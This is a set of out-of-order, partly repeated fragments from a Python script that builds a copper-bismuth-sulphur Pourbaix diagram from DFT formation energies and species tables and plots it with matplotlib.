"species[36,2]=12 species[37,2]=4 species[38,2]=5 species[39,2]=6 species[40,2]=12 species[41,2]=6 species[42,2]=7 species[43,2]=8 species[44,2]=16 species[45,2]=9 species[46,2]=10 #CuSBiO species[47,2]=0",
"species[20,3]=0 species[21,3]=0 species[22,3]=0 species[23,3]=0 species[24,3]=0 species[25,3]=0 species[26,3]=0 species[27,3]=0 species[28,3]=0 species[29,3]=0 species[30,3]=0 species[31,3]=0 species[32,3]=0",
"species[39,5]=1 species[40,5]=2 species[41,5]=1 species[42,5]=1 species[43,5]=1 species[44,5]=2 species[45,5]=1 species[46,5]=2 #CuSBiO species[47,5]=1 species[48,5]=4 species[49,5]=1 species[50,5]=2",
"Plot Pourbaix Diagram ################################### ############################################################################### flag = np.zeros((50,6)) # The first 4 indexes",
"combos[combo_num, 0, 0]=k combos[combo_num, 0, 1]=m combos[combo_num, 0, 2]=p #Energy combos[combo_num, 1, 0]=species[k,0]",
"species[22,2]=-2 species[23,2]=-1 species[24,2]=0 species[25,2]=0 species[26,2]=0 species[27,2]=0 species[28,2]=0 species[29,2]=6 species[30,2]=5 species[31,2]=4 species[32,2]=12 species[33,2]=12 species[34,2]=6",
"species[21,5]=1 species[22,5]=1 species[23,5]=1 species[24,5]=1 species[25,5]=2 species[26,5]=3 species[27,5]=4 species[28,5]=5 species[29,5]=2 species[30,5]=2 species[31,5]=2 species[32,5]=5 species[33,5]=4",
"color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4)",
"-(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Cu3BiS3=(Ee_Cu3BiS3+Fvib_Cu3BiS3) -3*(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Cu4Bi4S9=(Ee_Cu4Bi4S9+Fvib_Cu4Bi4S9) -4*(Ee_Cu+Fvib_Cu)-4*(Ee_Bi+Fvib_Bi)-9*(Ee_S+Fvib_S); dGf_Cu4BiS2_5=(Ee_Cu4BiS2_5+Fvib_Cu4BiS2_5)-4*(Ee_Cu+Fvib_Cu)-5*(Ee_Bi+Fvib_Bi)-10*(Ee_S+Fvib_S); dGf_CuBiS2=(Ee_CuBiS2+Fvib_CuBiS2) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); #Set the reference values dGf_Cu=0.0;",
"#Bismuth and Sulphur species[13,3]=0 species[14,3]=0 species[15,3]=0 species[16,3]=0 species[17,3]=0 species[18,3]=0 species[19,3]=0 species[20,3]=0 species[21,3]=0 species[22,3]=0",
"species[8,7]=1 species[9,7]=1 species[10,7]=1 species[11,7]=1 species[12,7]=1 #Bismuth species[13,7]=0 species[14,7]=0 species[15,7]=0 species[16,7]=0 species[17,7]=0 species[18,7]=1 species[19,7]=1",
"dGf_Bi_3Plus*F; dGf_BiOH_2Plus= dGf_BiOH_2Plus*F; dGf_BiO_Plus= dGf_BiO_Plus*F; dGf_S= dGf_S*F; dGf_H2S=dGf_H2S*F; dGf_HS_Minus=dGf_HS_Minus*F; dGf_S_2Minus=dGf_S_2Minus*F; dGf_S2_2Minus=dGf_S2_2Minus*F; dGf_S3_2Minus=dGf_S3_2Minus*F; dGf_S4_2Minus=dGf_S4_2Minus*F;",
"import asarray from numpy import save from numpy import load #Created by <NAME>,",
"python3 # -*- coding: utf-8 -*- \"\"\" Created on Mon Jul 23 13:17:41",
"species[5,6]=4 species[6,6]=2 species[7,6]=3 species[8,6]=1 species[9,6]=2 species[10,6]=1 species[11,6]=2 species[12,6]=4 #Bi species[13,6]=0 species[14,6]=3 species[15,6]=5 species[16,6]=4",
"dGf_HS_Minus=dGf_HS_Minus*F; dGf_S_2Minus=dGf_S_2Minus*F; dGf_S2_2Minus=dGf_S2_2Minus*F; dGf_S3_2Minus=dGf_S3_2Minus*F; dGf_S4_2Minus=dGf_S4_2Minus*F; dGf_S5_2Minus=dGf_S5_2Minus*F; dGf_H2S2O3=dGf_H2S2O3*F; dGf_HS2O3_Minus=dGf_HS2O3_Minus*F; dGf_S2O3_2Minus=dGf_S2O3_2Minus*F; dGf_S5O6_2Minus=dGf_S5O6_2Minus*F; dGf_S4O6_2Minus=dGf_S4O6_2Minus*F; dGf_HS2O4_Minus=dGf_HS2O4_Minus*F; dGf_S2O4_2Minus=dGf_S2O4_2Minus*F;",
"loops t=0; h=40; i=40; j=40; #If there is a linear combination, save the",
"flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1",
"species[22,7]=1 species[23,7]=1 species[24,7]=1 species[25,7]=1 species[26,7]=1 species[27,7]=1 species[28,7]=1 species[29,7]=1 species[30,7]=1 species[31,7]=1 species[32,7]=1 species[33,7]=1 species[34,7]=1",
"(30-140): \") n=30; #Constants R=8.31447; #kJ/(mol*K) T=298.15; #K F= 9.648533*10**4; #kJ/(V*mol) P=1; #bar,",
"of Sulphurs S ############################################# #Coppers species[0,5]=0 species[1,5]=0 species[2,5]=0 species[3,5]=0 species[4,5]=0 species[5,5]=0 species[6,5]=0 species[7,5]=0",
"species[10,2]=1 species[11,2]=2 species[12,2]=4 #Bi species[13,2]=0 species[14,2]=6 species[15,2]=10 species[16,2]=8 species[17,2]=14 species[18,2]=0 species[19,2]=1 species[20,2]=2 #S",
"species[40,1]=10 species[41,1]=6 species[42,1]=6 species[43,1]=6 species[44,1]=14 species[45,1]=8 species[46,1]=8 #CuSOBi species[47,1]=0 species[48,1]=0 species[49,1]=0 species[50,1]=0 species[51,1]=24",
"to combine at the composition ########### ############################################################################### t=1 flag=1 f_total=int; f=np.zeros((3)) combos=np.zeros((45000,9,3)) combo_num=0",
"species[19,0]=dGf_BiOH_2Plus species[20,0]=dGf_BiO_Plus species[21,0]=dGf_S species[22,0]=dGf_H2S species[23,0]=dGf_HS_Minus species[24,0]=dGf_S_2Minus species[25,0]=dGf_S2_2Minus species[26,0]=dGf_S3_2Minus species[27,0]=dGf_S4_2Minus species[28,0]=dGf_S5_2Minus species[29,0]=dGf_H2S2O3 species[30,0]=dGf_HS2O3_Minus species[31,0]=dGf_S2O3_2Minus",
"species[19,1]=3 species[20,1]=3 #S species[21,1]=0 species[22,1]=-2 species[23,1]=-2 species[24,1]=-2 species[25,1]=-2 species[26,1]=-2 species[27,1]=-2 species[28,1]=-2 species[29,1]=4 species[30,1]=4",
"combos[combo_num, 0, 0]=-1 combos[combo_num, 0, 1]=-1 combos[combo_num, 0, 2]=-1 for k in range(0,",
"or \\ (species[m, 3]==0 and species[p, 3] ==0) or \\ (species[k, 3]==0 and",
"calculated. muValues=np.zeros((n+1,n+1,4)) current_mu=int current_ele=int current_H=int current_H2O=int current_aquI=int current_NumEle=int sort=np.zeros((3,1)) #fill in the grid.",
"j=40; #If there is a linear combination, save the species in the combos",
"-2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Bi2S2O=(Ee_Bi2S2O+Fvib_Bi2S2O) -2*(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO4_3=(Ee_Bi2SO4_3+Fvib_Bi2SO4_3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_Bi14OS24=(Ee_Bi14OS24+Fvib_Bi14OS24) -14*(Ee_Bi+Fvib_Bi)-24*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO2=(Ee_Bi2SO2+Fvib_Bi2SO2) -2*(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-1.0*((Ee_O2)-Ftot_O2); dGf_BiSCuO=(Ee_BiSCuO+Fvib_BiSCuO) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Cu3BiS3=(Ee_Cu3BiS3+Fvib_Cu3BiS3) -3*(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S);",
"\\ and (species[k, 4]>0 or species[m, 4] >0 or species[p, 4]) \\ and",
"CALCULATIONS ##################################### ############################################################################### #Electronic Energies in eV/f.u. #PBEsol with SOC Ee_Bi= -5.114928333; Ee_Bi2O3=",
"species[p,3]], \\ [species[k, 4],species[m, 4], species[p,4]], \\ [species[k, 5],species[m, 5], species[p,5]]]) #check to",
">0 or species[p, 4]) \\ and (species[k, 5]>0 or species[m, 5] >0 or",
"species[44,2]=16 species[45,2]=9 species[46,2]=10 #CuSBiO species[47,2]=0 species[48,2]=0 species[49,2]=0 species[50,2]=0 species[51,2]=24 species[52,2]=0 species[53,2]=8 #BiSO species[54,2]=0",
"species[15,4]=2 species[16,4]=2 species[17,4]=4 species[18,4]=1 species[19,4]=1 species[20,4]=1 #Sulphur species[21,4]=0 species[22,4]=0 species[23,4]=0 species[24,4]=0 species[25,4]=0 species[26,4]=0",
"the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color =",
"drawing lines for metastable phases if((muValues[i,j,0]!=muValues[i-1,j,0])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif(muValues[i,j,1]!=muValues[i-1,j,1]): ax.plot(pH,U,'.', color",
"to the mu current_eng=species[s,0]; current_ele=F*U*(species[s,1]) current_H=R*T*np.log(10.0)*pH*(species[s,2]) current_H2O=dGf_H2O*(species[s,6]) current_aquI=R*T*np.log(nI)*(species[s,7]) current_NumEle=1 for t in range(3,6):",
"one multi-element species in this combination if(flag==1): #test each linear combination for h",
"species[60,4]=1 species[61,4]=4 species[62,4]=5 #BiCuSO species[63,4]=1 species[64,4]=1 ########### Number of Sulphurs S ############################################# #Coppers",
"'+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') chartBox=ax.get_position() ax.set_position([chartBox.x0, chartBox.y0, chartBox.width*1.5, chartBox.height*1.5]) ax.legend(loc='upper center', bbox_to_anchor=(1.3, 0.9), ncol=1) plt.show()",
"np import matplotlib.pyplot as plt import random #For saving/importing data from numpy import",
"are the colors index=0; fig =plt.figure() ax=plt.subplot(111) ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) #If",
"muValues[i,j,0]=a[0] muValues[i,j,1]=a[1] muValues[i,j,2]=a[2] muValues[i,j,3]=current_mu ############################################################################### ############################################################################### ############################################################################### ############################################################################### ################### Plot Pourbaix Diagram ###################################",
"a single element. This is a really long call. flag=1 if((species[k, 3]==0 and",
"combos[combo_num, 0, 1]=m combos[combo_num, 0, 2]=p #Energy combos[combo_num, 1, 0]=species[k,0] combos[combo_num, 1, 1]=species[m,0]",
"as there are specicies considered #populate with smaller values that will be calculated.",
"-3.2666113 dGf_CuOH = -1.2677578 dGf_Cu2OH2_2plus=-2.942417 dGf_Cu3OH4_2plus=-6.567839 #Elemental Sulphur Species dGf_H2S=-0.283601 dGf_HS_Minus=0.13053 dGf_S_2Minus=0.9521892 dGf_S2_2Minus=0.8563979",
"from numpy import save from numpy import load #Created by <NAME>, 2018-2020 #Contributions",
"Cu:Bi:S composition=np.array([1,1,1]) #pH Range and Constants lowpH = -2; highpH = 16; pHrange",
"color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 if(l==0): label='M1:",
"really long call. flag=1 if((species[k, 3]==0 and species[m, 3] ==0) or \\ (species[m,",
"species[20,7]=1 #Sulphur species[21,7]=0 species[22,7]=1 species[23,7]=1 species[24,7]=1 species[25,7]=1 species[26,7]=1 species[27,7]=1 species[28,7]=1 species[29,7]=1 species[30,7]=1 species[31,7]=1",
"Fvib_Bi2O4=0.12231438709 Fvib_Bi4O7=0.08741679245 Fvib_Cu2S=-0.0050937891364 Fvib_Cu7S4=-0.178002185722 Fvib_CuS=-0.0119849701814 Fvib_CuS2=-0.0033060080158 Fvib_Cu2SO4_3=1.00135494361 Fvib_BiCu=-0.11006963132 Fvib_CuBiO2_2=0.09853363658 Fvib_BiS2=-0.063943629448 Fvib_Bi2S3=-0.1428187610337 Fvib_Bi2S2O=-0.08193190191 Fvib_Bi2SO4_3=0.81266278392",
"if each species contains a single element. This is a really long call.",
"Mon Jul 23 13:17:41 2018 @author: laurenwalters \"\"\" import numpy as np import",
"Number of Bismuths Bi ############################################# #Copper species[0,4]=0 species[1,4]=0 species[2,4]=0 species[3,4]=0 species[4,4]=0 species[5,4]=0 species[6,4]=0",
"if(species[m,t]>1): current_NumEle=current_NumEle*species[m,t]; current_mu=current_mu+f2*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution to the mu current_eng=species[s,0]; current_ele=F*U*(species[s,1]) current_H=R*T*np.log(10.0)*pH*(species[s,2])",
"species[57,0]=dGf_Bi2SO4_3 species[58,0]=dGf_Bi14OS24 species[59,0]=dGf_Bi2SO2 species[60,0]=dGf_CuBiS2 species[61,0]=dGf_Cu4Bi4S9 species[62,0]=dGf_Cu4BiS2_5 species[63,0]=dGf_BiSCuO species[64,0]=dGf_Cu3BiS3 ######## Electron Count ####################################################### #Cu",
"species[10,3]=1 species[11,3]=2 species[12,3]=3 #Bismuth and Sulphur species[13,3]=0 species[14,3]=0 species[15,3]=0 species[16,3]=0 species[17,3]=0 species[18,3]=0 species[19,3]=0",
"pHArray[i] =lowpH+i; muH[i]=-0.059*pHArray[i]; muH2O[i]=1.23-0.059*pHArray[i]; pHArray[pHrange] =lowpH+(pHrange); muH[pHrange]=-0.059*pHArray[pHrange]; muH2O[pHrange]=1.23-0.059*pHArray[pHrange]; ############################################################## ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$',",
"ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif(muValues[i,j,1]!=muValues[i-1,j,1]): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,0]!=muValues[i,j-1,0]) or (muValues[i,j,1]!=muValues[i,j-1,1])): ax.plot(pH,U,'.',",
"Ee_H2=-6.5141508 Ee_S= -4.391811875; ############################################################################### ########### MULTICOMPONENT SPECIES ############################################ #Calculated with PBEsol Ee_Cu2S=-13.4793116667; Ee_Cu7S4=-49.8241325;",
"5] ==0) or \\ (species[m, 5]==0 and species[p, 5] ==0) or \\ (species[k,",
"if(species[p,t]>1): current_NumEle=current_NumEle*species[p,t]; current_mu=f1*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution to the mu current_eng=species[m,0]; current_ele=F*U*(species[m,1]) current_H=R*T*np.log(10.0)*pH*(species[m,2])",
"Lines ############################################ ############################################################################### flag = np.zeros((50,6)) # The first 4 indexes are the",
"asarray from numpy import save from numpy import load #Created by <NAME>, 2018-2020",
"#Species Number combos[combo_num, 0, 0]=k combos[combo_num, 0, 1]=m combos[combo_num, 0, 2]=p #Energy combos[combo_num,",
"-2.0*(Ee_Bi+Fvib_Bi)-1.5*(Ee_O2-Ftot_O2); dGf_Bi2O5= ((Ee_Bi2O5)+Fvib_Bi2O5) -2.0*(Ee_Bi+Fvib_Bi)-2.5*(Ee_O2-Ftot_O2); dGf_Bi2O4= ((Ee_Bi2O4)+Fvib_Bi2O4) -2.0*(Ee_Bi+Fvib_Bi)-2.0*(Ee_O2-Ftot_O2); dGf_Bi4O7= ((Ee_Bi4O7)+Fvib_Bi4O7) -4.0*(Ee_Bi+Fvib_Bi)-3.5*(Ee_O2-Ftot_O2); dGf_Cu2S=(Ee_Cu2S+Fvib_Cu2S) -2*(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_Cu7S4=(Ee_Cu7S4+Fvib_Cu7S4)",
"species[17,0]=dGf_Bi4O7 species[18,0]=dGf_Bi_3Plus species[19,0]=dGf_BiOH_2Plus species[20,0]=dGf_BiO_Plus species[21,0]=dGf_S species[22,0]=dGf_H2S species[23,0]=dGf_HS_Minus species[24,0]=dGf_S_2Minus species[25,0]=dGf_S2_2Minus species[26,0]=dGf_S3_2Minus species[27,0]=dGf_S4_2Minus species[28,0]=dGf_S5_2Minus species[29,0]=dGf_H2S2O3",
"species[43,1]=6 species[44,1]=14 species[45,1]=8 species[46,1]=8 #CuSOBi species[47,1]=0 species[48,1]=0 species[49,1]=0 species[50,1]=0 species[51,1]=24 species[52,1]=0 species[53,1]=8 #BiSO",
"is '+ str(combo_num)+'.\\n') ############################################################################### ############################################################################### ############################################################################### ############################################################################### ########### Chemical Potential Mesh Calculations ############################",
"= muValues[i,j,1] flag[index,2] = muValues[i,j,2] flag[index,3] = random.random(); flag[index,4] = random.random(); flag[index,5] =",
"Ee_S= -4.391811875; ############################################################################### ########### MULTICOMPONENT SPECIES ############################################ #Calculated with PBEsol Ee_Cu2S=-13.4793116667; Ee_Cu7S4=-49.8241325; Ee_CuS=-9.170266;",
"and \\ ((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[0]/composition[2]): #save the composition f[0]=h f[1]=i f[2]=j #Ending parameters, break loops",
"species[60,6]=0 species[61,6]=0 species[62,6]=0 #BiCuSO species[63,6]=1 species[64,6]=0 ########## Aqueous Ions?????? ################################################# #Copper species[0,7]=0 species[1,7]=0",
"the composition ########### ############################################################################### t=1 flag=1 f_total=int; f=np.zeros((3)) combos=np.zeros((45000,9,3)) combo_num=0 combos[combo_num, 0, 0]=-1",
"Species dGf_Bi_3Plus= 0.6430898 dGf_BiOH_2Plus= -1.6968378 dGf_BiO_Plus= -1.4977965 ##Elemental Copper Species dGf_Cu1= 0.506502 dGf_Cu2=",
"and H2 lines################################## muH=np.zeros((pHrange+1)); muH2O=np.zeros((pHrange+1)); pHArray=np.zeros((pHrange+1)); for i in range(0, pHrange): pHArray[i] =lowpH+i;",
"lines################################## muH=np.zeros((pHrange+1)); muH2O=np.zeros((pHrange+1)); pHArray=np.zeros((pHrange+1)); for i in range(0, pHrange): pHArray[i] =lowpH+i; muH[i]=-0.059*pHArray[i]; muH2O[i]=1.23-0.059*pHArray[i];",
"species[42,4]=0 species[43,4]=0 species[44,4]=0 species[45,4]=0 species[46,4]=0 #CuSBiO species[47,4]=0 species[48,4]=0 species[49,4]=0 species[50,4]=0 species[51,4]=0 species[52,4]=1 species[53,4]=2",
"1]=species[m,5] combos[combo_num, 6, 2]=species[p,5] #Aqueous Ions combos[combo_num, 7, 0]=species[k,6] combos[combo_num, 7, 1]=species[m,6] combos[combo_num,",
"The first 4 indexes are the materials stored, the next three are the",
"dGf_S3O6_2Minus=-9.930382 dGf_H2SO3=-5.580528 dGf_HSO3_Minus=-5.464 dGf_SO3_2Minus=-5.03457 dGf_S2O6_2Minus=-10.02 dGf_H2SO4=-7.6901922 dGf_HSO4_Minus=-7.8029389 dGf_SO4_2Minus=-7.6901922 dGf_S2O8_2Minus=-11.361 dGf_HSO5_Minus= -6.60739025 dGf_S2O5_2Minus= -8.195817793",
"there a linear combination of the elements that will allow #For the if(((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[1,0]+i*a[1,1]+j*a[1,2]))==composition[0]/composition[1]",
"species[0,4]=0 species[1,4]=0 species[2,4]=0 species[3,4]=0 species[4,4]=0 species[5,4]=0 species[6,4]=0 species[7,4]=0 species[8,4]=0 species[9,4]=0 species[10,4]=0 species[11,4]=0 species[12,4]=0",
"dGf_Bi2O4= ((Ee_Bi2O4)+Fvib_Bi2O4) -2.0*(Ee_Bi+Fvib_Bi)-2.0*(Ee_O2-Ftot_O2); dGf_Bi4O7= ((Ee_Bi4O7)+Fvib_Bi4O7) -4.0*(Ee_Bi+Fvib_Bi)-3.5*(Ee_O2-Ftot_O2); dGf_Cu2S=(Ee_Cu2S+Fvib_Cu2S) -2*(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_Cu7S4=(Ee_Cu7S4+Fvib_Cu7S4) -7*(Ee_Cu+Fvib_Cu)-4*(Ee_S+Fvib_S); dGf_CuS=(Ee_CuS+Fvib_CuS) -(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_CuS2=(Ee_CuS2+Fvib_CuS2)",
"ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) #If drawing lines for metastable phases for i in range(1, n):",
"species[63,5]=1 species[64,5]=3 ######### Number of H2O's ##################################################### #Copper species[0,6]=0 species[1,6]=1 species[2,6]=1 species[3,6]=0 species[4,6]=0",
"np.zeros((50,6)) # The first 4 indexes are the materials stored, the next three",
"4]>0 or species[m, 4] >0 or species[p, 4]) \\ and (species[k, 5]>0 or",
"dGf_SO3_2Minus=-5.03457 dGf_S2O6_2Minus=-10.02 dGf_H2SO4=-7.6901922 dGf_HSO4_Minus=-7.8029389 dGf_SO4_2Minus=-7.6901922 dGf_S2O8_2Minus=-11.361 dGf_HSO5_Minus= -6.60739025 dGf_S2O5_2Minus= -8.195817793 #Water dGf_H2O=-2.458; ###############################################################################",
"each linear combination for h in range(1, 20): for i in range(1, 20):",
"n+1): pH=lowpH+i*pHcount; for j in range(0,n+1): U=Ulow+(Ucount*j); l=0 for k in range(0, len(flag)):",
"current_ele=F*U*(species[p,1]) current_H=R*T*np.log(10.0)*pH*(species[p,2]) current_H2O=dGf_H2O*(species[p,6]) current_aquI=R*T*np.log(nI)*(species[p,7]) current_NumEle=1 for t in range(3,6): if(species[p,t]>1): current_NumEle=current_NumEle*species[p,t]; current_mu=f1*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The",
"in range(0,n+1): U=Ulow+(j*Ucount); muValues[i,j,0]=-1 muValues[i,j,1]=-1 muValues[i,j,2]=-1 muValues[i,j,3]=100000000 #Go through all species, commpare all",
"combos[combo_num, 2, 2]=species[p,1] #H+ combos[combo_num, 3, 0]=species[k,2] combos[combo_num, 3, 1]=species[m,2] combos[combo_num, 3, 2]=species[p,2]",
"dGf_S3_2Minus=0.7791664 dGf_S4_2Minus=0.7204948 dGf_S5_2Minus=0.6803396 dGf_H2S2O3=-5.6329986 dGf_HS2O3_Minus=-5.6156529 dGf_S2O3_2Minus=-5.515915 dGf_S5O6_2Minus=-9.9087 dGf_S4O6_2Minus=-10.5939 dGf_HS2O4_Minus=-6.13203282 dGf_S2O4_2Minus=-5.9842 dGf_S3O6_2Minus=-9.930382 dGf_H2SO3=-5.580528 dGf_HSO3_Minus=-5.464",
"f_total=int; f=np.zeros((3)) combos=np.zeros((45000,9,3)) combo_num=0 combos[combo_num, 0, 0]=-1 combos[combo_num, 0, 1]=-1 combos[combo_num, 0, 2]=-1",
"eV to kJ/mol #################################### ############################################################################### dGf_Cu= dGf_Cu*F; dGf_CuO= dGf_CuO*F; dGf_Cu2O= dGf_Cu2O*F; dGf_Cu1= dGf_Cu1*F;",
"species[36,7]=1 species[37,7]=1 species[38,7]=1 species[39,7]=1 species[40,7]=1 species[41,7]=1 species[42,7]=1 species[43,7]=1 species[44,7]=1 species[45,7]=1 species[46,7]=1 #CuSBiO species[47,7]=0",
"Ee_Bi2O4=-36.7221975; Ee_Bi4O7=-68.40888; #PBEsol Ee_Cu=-4.3152965; Ee_CuO=-10.7488868; Ee_Cu2O=-14.99698; Ee_CuOH2_s=-25.1916025; #PBEsol Ee_O2=-10.281123 Ee_H2=-6.5141508 Ee_S= -4.391811875; ###############################################################################",
"and (species[k, 4]>0 or species[m, 4] >0 or species[p, 4]) \\ and (species[k,",
"showing the composition of Cu:Bi:S composition=np.array([1,1,1]) #pH Range and Constants lowpH = -2;",
"current_eng=species[s,0]; current_ele=F*U*(species[s,1]) current_H=R*T*np.log(10.0)*pH*(species[s,2]) current_H2O=dGf_H2O*(species[s,6]) current_aquI=R*T*np.log(nI)*(species[s,7]) current_NumEle=1 for t in range(3,6): if(species[s,t]>1): current_NumEle=current_NumEle*species[s,t]; current_mu=current_mu+f3*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle);",
"values that will be calculated. muValues=np.zeros((n+1,n+1,4)) current_mu=int current_ele=int current_H=int current_H2O=int current_aquI=int current_NumEle=int sort=np.zeros((3,1))",
"(muValues[i,j,1]!=muValues[i,j-1,1])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,2]!=muValues[i,j-1,2]) or (muValues[i,j,2]!=muValues[i-1,j,2])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) ax.plot(pHArray[:],",
"dGf_S2O8_2Minus=dGf_S2O8_2Minus*F; dGf_HSO5_Minus=dGf_HSO5_Minus*F; dGf_S2O5_2Minus=dGf_S2O5_2Minus*F; dGf_Cu2S=dGf_Cu2S*F; dGf_Cu7S4=dGf_Cu7S4*F; dGf_CuS=dGf_CuS*F; dGf_CuS2=dGf_CuS2*F; dGf_Cu2SO4_3=dGf_Cu2SO4_3*F; dGf_BiCu=dGf_BiCu*F; dGf_CuBiO2_2=dGf_CuBiO2_2*F; dGf_BiS2=dGf_BiS2*F; dGf_Bi2S3=dGf_Bi2S3*F; dGf_Bi2S2O=dGf_Bi2S2O*F;",
"(species[k, 3]==0 and species[p, 3] ==0)): if((species[k, 4]==0 and species[m, 4] ==0) or",
"species[12,5]=0 #Bismuth species[13,5]=0 species[14,5]=0 species[15,5]=0 species[16,5]=0 species[17,5]=0 species[18,5]=0 species[19,5]=0 species[20,5]=0 #Sulphur species[21,5]=1 species[22,5]=1",
"found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop,",
"4] >0 or species[p, 4]) \\ and (species[k, 5]>0 or species[m, 5] >0",
"colors index=0; fig =plt.figure() ax=plt.subplot(111) ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) #If drawing lines",
"dGf_Cu4BiS2_5=dGf_Cu4BiS2_5*F; dGf_CuBiS2=dGf_CuBiS2*F; dGf_H2O= dGf_H2O*F; ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############### Populate the species matrix",
"Fvib_Bi2O5=0.14677315404 Fvib_Bi2O4=0.12231438709 Fvib_Bi4O7=0.08741679245 Fvib_Cu2S=-0.0050937891364 Fvib_Cu7S4=-0.178002185722 Fvib_CuS=-0.0119849701814 Fvib_CuS2=-0.0033060080158 Fvib_Cu2SO4_3=1.00135494361 Fvib_BiCu=-0.11006963132 Fvib_CuBiO2_2=0.09853363658 Fvib_BiS2=-0.063943629448 Fvib_Bi2S3=-0.1428187610337 Fvib_Bi2S2O=-0.08193190191",
"species[43,5]=1 species[44,5]=2 species[45,5]=1 species[46,5]=2 #CuSBiO species[47,5]=1 species[48,5]=4 species[49,5]=1 species[50,5]=2 species[51,5]=3 species[52,5]=0 species[53,5]=0 #BiSO",
"[0.0,0.0,0.0],markersize=2) ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram,",
"species[63,3]=1 species[64,3]=3 ########### Number of Bismuths Bi ############################################# #Copper species[0,4]=0 species[1,4]=0 species[2,4]=0 species[3,4]=0",
"through pH range #Applied Potential Range and Constants Ulow = -1.5; #V Uhigh",
"#Created by <NAME>, 2018-2020 #Contributions by <NAME> #For reactions in aqueous conditions #find",
"import load #Created by <NAME>, 2018-2020 #Contributions by <NAME> #For reactions in aqueous",
"Ee_Bi14OS24=-247.57619; Ee_Bi2SO2=-29.50652; Ee_BiSCuO=-21.5022935; Ee_Cu3BiS3=-32.4713275; Ee_Cu4Bi4S9=-80.830705; Ee_Cu4BiS2_5=-90.647798; Ee_CuBiS2=-19.041996; ############################################################################### ###### Vibrational Energy ##################################################### ###############################################################################",
"Ee_BiCu=-9.31218; Ee_CuBiO2_2=-42.245475; Ee_BiS2=-14.6172585; Ee_Bi2S3=-24.878388; Ee_Bi2S2O=-27.2327565; Ee_Bi2SO4_3=-109.35902; Ee_Bi14OS24=-247.57619; Ee_Bi2SO2=-29.50652; Ee_BiSCuO=-21.5022935; Ee_Cu3BiS3=-32.4713275; Ee_Cu4Bi4S9=-80.830705; Ee_Cu4BiS2_5=-90.647798; Ee_CuBiS2=-19.041996;",
"[species[k, 5],species[m, 5], species[p,5]]]) #check to see if each species contains a single",
"in the combos array. if (t==0): #print(str(combo_num)+': Species1: '+str(k)+', Species2: '+str(m)+'\\n') #Species Number",
"#kJ/(mol*K) T=298.15; #K F= 9.648533*10**4; #kJ/(V*mol) P=1; #bar, 10^5*Pa eta=6 nI=10**-eta; #Activity Concentration",
"ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,2]!=muValues[i,j-1,2]) or (muValues[i,j,2]!=muValues[i-1,j,2])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1)",
